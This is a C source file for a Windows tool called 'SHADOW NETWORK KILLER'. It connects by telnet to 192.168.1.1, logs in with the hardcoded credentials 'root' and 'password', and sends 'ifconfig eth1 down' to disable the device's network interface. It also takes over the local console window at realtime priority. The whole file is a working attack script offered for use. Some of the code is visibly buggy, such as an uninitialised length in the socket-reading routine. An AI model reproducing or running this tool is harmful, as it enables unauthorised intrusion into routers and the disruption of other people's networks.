#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <locale.h>
#include <unistd.h>
#include <errno.h>
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <winsock2.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32.lib")
#define IP_ADDRESS "192.168.1.1"
#define PORT 23
#define CONNECT_TIMEOUT 1
#define TITLE "SHADOW NETWORK KILLER"
// windres info.rc info.o && gcc -c snk.c && gcc -o snk.exe snk.o info.o -lws2_32
char info_msg[][64] = { "Checking connect to remote host",
"Setting socket to non-blocking mode",
"Setting ioctlsocket (t_sock, FIONBIO, FALSE) success",
"Setting socket back to blocking mode",
"Setting ioctlsocket (t_sock, FIONBIO, TRUE) success",
"Checking connect with fast CONN_TIMEOUT to remote host success",
"WSAStartup Initialization completed",
"Connection to remote host success",
"Socket initialization success",
"Starting negotiation sequence",
"Receiving negotiation packet [1]:",
"Sending negotiation packet [1]:",
"Sending negotiation packet [2]:",
"Negotiation sequence completed",
"Sending remote command",
"Closing socket and WSACleanup completed" };
char info_err[][64] = { "Socket creation failed",
"Open socket error",
"Could not connect to remote server",
"ioctlsocket failed with error",
"WSAStartup failed",
"Connection to remote host timed out",
"Open socket error",
"Sending negotiation packet 1 failed",
"Sending 2-nd negotiation packet failed",
"Sending remote command failed" };
enum ConsoleColor {
Black = 0,
Blue = 1,
Green = 2,
Cyan = 3,
Red = 4,
Magenta = 5,
Brown = 6,
LightGray = 7,
DarkGray = 8,
LightBlue = 9,
LightGreen = 10,
LightCyan = 11,
LightRed = 12,
LightMagenta = 13,
Yellow = 14,
White = 15
};
char negotiate1[] = { 0xff, 0xfb, 0x01, 0x00 };
char negotiate2[] = { 0xff, 0xfb, 0x1f, 0xff,
0xfb, 0x20, 0xff, 0xfb,
0x18, 0xff, 0xfb, 0x27,
0xff, 0xfd, 0x01, 0xff,
0xfb, 0x03, 0xff, 0xfd,
0x03, 0xff, 0xfc, 0x01};
char endofstring[] = { 0x0d, 0x0a };
char string[][20] = { "root", "password", "ifconfig eth1 down" };
char buff[255];
char rec[256];
int i;
int n;
void* output (int msg, int com) {
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | Cyan));
char *name = "SOCKET d_sock";
if (com>0) {
printf ("[%s] %s [%i]:\n", name, info_msg[msg], com);
} else {
printf ("[%s] %s\n", name, info_msg[msg]);
}
}
void* error (int msg) {
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | Red));
char *name = "ERROR t_sock";
printf ("[%s] %s: %s\n", name, info_err[msg], strerror(errno));
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | LightGray));
Sleep(3000);
exit (0);
}
void* eostr(void) {
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | Green));
printf ("EOF\n");
}
int read_socket (int socket, char *buffer, int len) {
int slen;
char *rec = buffer;
memset(rec, 0, sizeof(rec));
int recvd = recv(socket, rec, slen, 0);
while (recvd>0 && (rec[recvd-1]!='\n')) {
rec += recvd;
slen -= recvd;
recvd = recv(socket, rec, slen, 0);
}
rec[recvd] = '\0';
return len - slen;
}
int t_sock () {
TIMEVAL Timeout;
Timeout.tv_sec = CONNECT_TIMEOUT;
Timeout.tv_usec = 0;
struct sockaddr_in address;
address.sin_addr.s_addr = inet_addr(IP_ADDRESS);
address.sin_port = htons(PORT);
address.sin_family = AF_INET;
WSADATA WsaDat;
if (WSAStartup(MAKEWORD(1,1), &WsaDat) == 0) {
output(6,0);
} else {
error(4);
}
int sock = socket(address.sin_family, SOCK_STREAM, IPPROTO_TCP);
output(0,0);
output(1,0);
unsigned long iMode = 1;
int iResult = ioctlsocket(sock, FIONBIO, &iMode);
if (iResult != NO_ERROR)
{
error(3);
}
output(2,0);
if(connect(sock,(struct sockaddr *)&address,sizeof(address))== FALSE)
{
error(3);
}
output(3,0);
iMode = 0;
iResult = ioctlsocket(sock, FIONBIO, &iMode);
if (iResult != NO_ERROR)
{
error(3);
}
output(4,0);
fd_set Write, Err;
FD_ZERO(&Write);
FD_ZERO(&Err);
FD_SET(sock, &Write);
FD_SET(sock, &Err);
select(0,NULL,&Write,&Err,&Timeout);
if(FD_ISSET(sock, &Write))
{
output(5,0);
return sock;
}
error(3);
}
void prep_console () {
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetWindowPos(GetForegroundWindow(), HWND_TOPMOST, 0,0,0,0, SWP_NOZORDER);
EnableWindow(GetForegroundWindow(), FALSE);
SetConsoleTitle(TITLE);
ShowWindow(FindWindow(NULL, TITLE), SW_MAXIMIZE);
COORD maxWindow = GetLargestConsoleWindowSize(hConsole);
SMALL_RECT srctWindow = { 0, 0, maxWindow.X - 1, maxWindow.Y - 1 };
SMALL_RECT minWindow = { 0, 0, 0, 0 };
SetConsoleWindowInfo(hConsole, TRUE, &minWindow);
SetConsoleScreenBufferSize(hConsole, maxWindow);
SetConsoleWindowInfo(hConsole, TRUE, &srctWindow);
SetWindowPos(GetForegroundWindow(), HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE|SWP_NOSIZE);
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
setlocale(LC_ALL, "rus");
}
int main () {
prep_console();
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | LightGray));
printf ("\n\n");
printf ("#########################################################\n");
printf ("## SHADOW NETWORK KILLER ##\n");
printf ("## coded by r[00]t compiled with GCC ##\n");
printf ("## November 2014 ##\n");
printf ("#########################################################\n\n");
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | White));
printf ("Connecting to remote shell...\n\n");
Sleep (500);
int sock = t_sock();
if (sock) {
output(8,0);
} else {
error(5);
}
output(9,0);
if (read_socket (sock, rec, sizeof(rec))) {
output(10,0);
for (i=0;i!=sizeof(rec);i++) {
if (rec[i]!=0) {
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | LightGray));
printf ("0x%X ", (unsigned char)rec[i]);
Sleep(100);
}
}
eostr();
}
if (send (sock, negotiate1, strlen(negotiate1),0)) {
output(11,0);
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | LightGray));
for (i=0;i!=strlen(negotiate1);i++) {
printf ("0x%X ", (unsigned char)negotiate1[i]);
Sleep(100);
}
eostr();
} else {
error(6);
}
if (send (sock, negotiate2, strlen(negotiate2),0)) {
output(12,0);
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | LightGray));
for (i=0;i!=strlen(negotiate2);i++) {
printf ("0x%X ", (unsigned char)negotiate2[i]);
Sleep(100);
}
eostr();
} else {
error(7);
}
output(13,0);
for (i=0;i!=sizeof(string)/sizeof(string[0]);i++) {
output(14,i+1);
for (n=0;n!=strlen(string[i]);n++) {
sprintf (buff,"%c",string[i][n]);
char *msg = buff;
if (send (sock, msg, strlen(msg),0)) {
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | LightGray));
printf ("0x%X ",*msg);
} else {
error(8);
}
Sleep(100);
}
send (sock, endofstring, strlen(endofstring),0);
eostr();
Sleep(100);
}
close(sock);
WSACleanup ();
output(15,0);
Sleep(3000);
SetConsoleTextAttribute(hConsole, (WORD) ((Black << 4) | LightGray));
return 0;
}